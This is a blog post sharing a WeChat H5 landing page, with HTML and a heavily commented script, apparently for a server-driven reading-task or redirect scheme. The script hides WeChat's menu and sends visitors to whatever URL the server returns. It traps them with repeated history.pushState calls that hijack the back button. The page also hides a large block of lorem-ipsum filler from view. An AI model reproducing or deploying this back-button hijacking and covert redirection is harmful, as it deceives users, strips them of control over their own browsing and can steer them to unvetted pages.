微信H5监听备用

 

<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=0">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
    <link data-type="checkvaildsign" rel="icon" href="data:image/ico;base64,aWNv">
    <title>加载中</title>
</head>
<body>
<div id="text">加载中,请稍后</div>
<div id="text2"></div>
<div style="display: none">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.
Nunc viverra imperdiet enim. Fusce est. Vivamus a tellus.
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Proin pharetra nonummy pede. Mauris et orci.
Aenean nec lorem. In porttitor. Donec laoreet nonummy augue.
Suspendisse dui purus, scelerisque at, vulputate vitae, pretium mattis, nunc. Mauris eget neque at sem venenatis eleifend. Ut nonummy.

</div>
<script>
    var url = '/dodoaa/mmaa'+location.search;
</script>
<script src="r.js?v=4"></script>
</body>
</html>
// 根据浏览器的userAgent判断是否为微信浏览器,如果是则_t变量为'7'加上当前时间的字符串表示,否则为空字符串
var _t = (navigator.userAgent.indexOf('MicroMessenger') > 0? '7' : '') + (new Date()).getTime().toString();
// 定义一个全局变量jumpUrl并赋值为url(此处url应该是在之前有定义,但代码中未给出相关定义部分)
window.jumpUrl = url;

// 定义一个名为get的函数,它接受一个url和一个回调函数fn作为参数
function get(url, fn) {
    // 创建一个XMLHttpRequest对象
    var xhr = new XMLHttpRequest();
    // 使用GET方法打开指定的url,第三个参数true表示异步请求
    xhr.open('GET', url, true);
    // 设置请求头,表明这是一个XMLHttpRequest请求
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    // 为xhr的状态改变事件绑定一个回调函数
    xhr.onreadystatechange = function () {
        // 当xhr的readyState为4(表示请求已完成)并且status为200(成功)或者304(未修改)时
        if (xhr.readyState == 4 && xhr.status == 200 || xhr.status == 304) {
            // 调用传入的回调函数fn,并将响应文本作为参数传入
            fn.call(this, xhr.responseText);
        } else {
            // 如果不满足上述条件,这里没有做任何处理,可根据需求添加错误处理逻辑
        }
    };
    // 发送请求
    xhr.send();
}

// 定义一个全局变量timer并初始化为null,可能用于定时器相关操作
var timer = null;
// 定义一个全局变量point并初始化为1,可能用于计数相关操作
var point = 1;
// 定义一个全局变量task_url并初始化为false,可能用于存储任务相关的url
var task_url = false;

// 当微信的WeixinJSBridge准备好时,调用hideOptionMenu方法来隐藏菜单(可能是微信内置浏览器中的菜单)
document.addEventListener('WeixinJSBridgeReady', function onBridgeReady() {
    WeixinJSBridge.call('hideOptionMenu');
});

// 当页面显示(pageshow事件)时,调用do_read函数
window.addEventListener('pageshow', function (e) {
    do_read();
});

// 定义一个全局变量is_loading并初始化为false,用于标记是否正在加载
var is_loading = false;

// 定义do_read函数
function do_read() {
    try {
        // 如果正在加载,则直接返回,不进行后续操作
        if (is_loading) {
            return;
        }
        // 将is_loading标记为true,表示开始加载
        is_loading = true;
        // 定义一个变量time并初始化为3000,可能表示某个操作的时间限制(单位可能是毫秒)
        var time = 3000;
        // 定义一个空字符串str,可能用于后续构建请求参数
        var str = '';
        // 从本地存储中获取名为'jkey'的项目
        var jkey = localStorage.getItem('jkey');
        // 将获取到的jkey的值设置为id为'text2'的元素的innerHTML
        document.querySelector('#text2').innerHTML = jkey;
        if (jkey) {
            // 如果jkey存在,则构建一个包含jkey的查询字符串
            str = '&jkey=' + jkey;
            // 调用setText函数设置文本为'加载中,请稍等'
            setText('加载中,请稍等');
            point = 1;
            // 设置一个定时器,每隔500毫秒执行一次匿名函数
            timer = setInterval(function () {
                // 定义一个文本变量text并初始化为'加载中,请稍等'
                text = '加载中,请稍等';
                point++;
                // 根据point的值添加相应数量的点
                for (var i = 0; i < (point % 3) + 1; i++) {
                    text += '。';
                }
                // 计算剩余秒数,根据point的值计算,最小为0
                var second = 11 - Math.floor(point / 2);
                if (second < 0) {
                    second = 0;
                }
                // 调用setText函数更新显示的文本
                setText(text);
            }, 500);
            // 从本地存储中移除'jkey'项目
            localStorage.removeItem('jkey');
            // 将time的值更新为15000
            time = 15000;
        }
        // 设置一个定时器,当到达指定时间(time)后,将is_loading标记为false
        var loadingtimer = setTimeout(function () {
            is_loading = false;
        }, time)
        // 调用setText2函数设置空字符串
        setText2('');
        // 调用get函数发送请求,请求的url包含jumpUrl、随机数、构建的查询字符串str等参数,当请求成功后调用回调函数
        get(window.jumpUrl + '&pageshow&r=' + Math.random() + str, function (res) {
            // 将is_loading标记为false,表示加载完成
            is_loading = false;
            // 清除之前设置的定时器loadingtimer
            clearTimeout(loadingtimer);
            // 将响应文本解析为JSON对象
            var resData = JSON.parse(res);
            // 如果timer存在(可能表示之前设置的定时器正在运行),则清除定时器并将timer设置为null,然后更新显示文本
            if (timer) {
                clearInterval(timer);
                timer = null;
                setText('加载中,请稍后');
            }
            // 如果响应数据中没有jkey属性,则不做任何操作
            if (!resData.jkey) {
            } else {
                // 如果有jkey属性,则将其存储到本地存储中
                localStorage.setItem('jkey', resData.jkey);
            }
            // 如果响应数据中有msg属性,则弹出一个包含msg内容的警告框
            if (resData.msg) {
                alert(resData.msg);
            }
            // 如果响应数据中有success_msg属性,则调用setText2函数显示该消息
            if (resData.success_msg) {
                setText2(resData.success_msg);
            }
            // 如果响应数据中的url为'close'
            if (resData.url === 'close') {
                // 设置一个定时器,2秒后执行以下操作
                setTimeout(function () {
                    // 为document的WeixinJSBridgeReady事件添加一个监听器,当事件触发时调用WeixinJSBridge的closeWindow方法
                    document.addEventListener('WeixinJSBridgeReady', function () {
                        WeixinJSBridge.call('closeWindow');
                    }, false);
                    // 直接调用WeixinJSBridge的closeWindow方法(这里可能有重复操作,可以优化)
                    WeixinJSBridge.call('closeWindow');
                }, 2000);
                // 直接返回,不进行后续操作
                return;
            }
            // 如果响应数据中有url属性,则更新task_url和当前窗口的location.href
            if (resData.url) {
                task_url = window.location.href = resData.url;
            }
        });
    } catch (e) {
        // 如果在do_read函数执行过程中发生错误,调用setText2函数显示错误消息
        setText2(e.message)
    }
}

// 定义一个名为setText的函数,它接受一个文本参数text,将id为'text'的元素的innerHTML设置为text
function setText(text) {
    document.querySelector('#text').innerHTML = text;
}

// 定义一个名为setText2的函数,它接受一个文本参数text,将id为'text2'的元素的innerHTML设置为text
function setText2(text) {
    document.querySelector('#text2').innerHTML = text;
}

// 向浏览器的历史记录中添加一条记录,状态为null,标题为null,url为当前文档的URL,重复4次
history.pushState(null, null, document.URL);
history.pushState(null, null, document.URL);
history.pushState(null, null, document.URL);
history.pushState(null, null, document.URL);

// 为浏览器的popstate事件添加一个监听器,当事件触发时执行以下操作
window.addEventListener("popstate", function () {
    // 向浏览器的历史记录中添加4条记录,状态为null,标题为null,url为当前文档的URL
    history.pushState(null, null, document.URL);
    history.pushState(null, null, document.URL);
    history.pushState(null, null, document.URL);
    history.pushState(null, null, document.URL);
    // 调用do_read函数
    do_read();
});

// 尝试执行以下操作,如果发生错误则捕获异常
try {
    // 调用window.tbsJs的onReady方法,传入一个配置对象,并传入一个空的回调函数(这里可能需要根据实际情况完善回调函数的逻辑)
    window.tbsJs.onReady('{useCachedApi : "true"}', function (res) {
    });
} catch (e) {
}

// 以下代码被注释掉,如果取消注释,当发生JavaScript错误时,会调用setText2函数显示错误信息
// window.onerror = function(err){
//     setText2(err);
// }

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序007

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值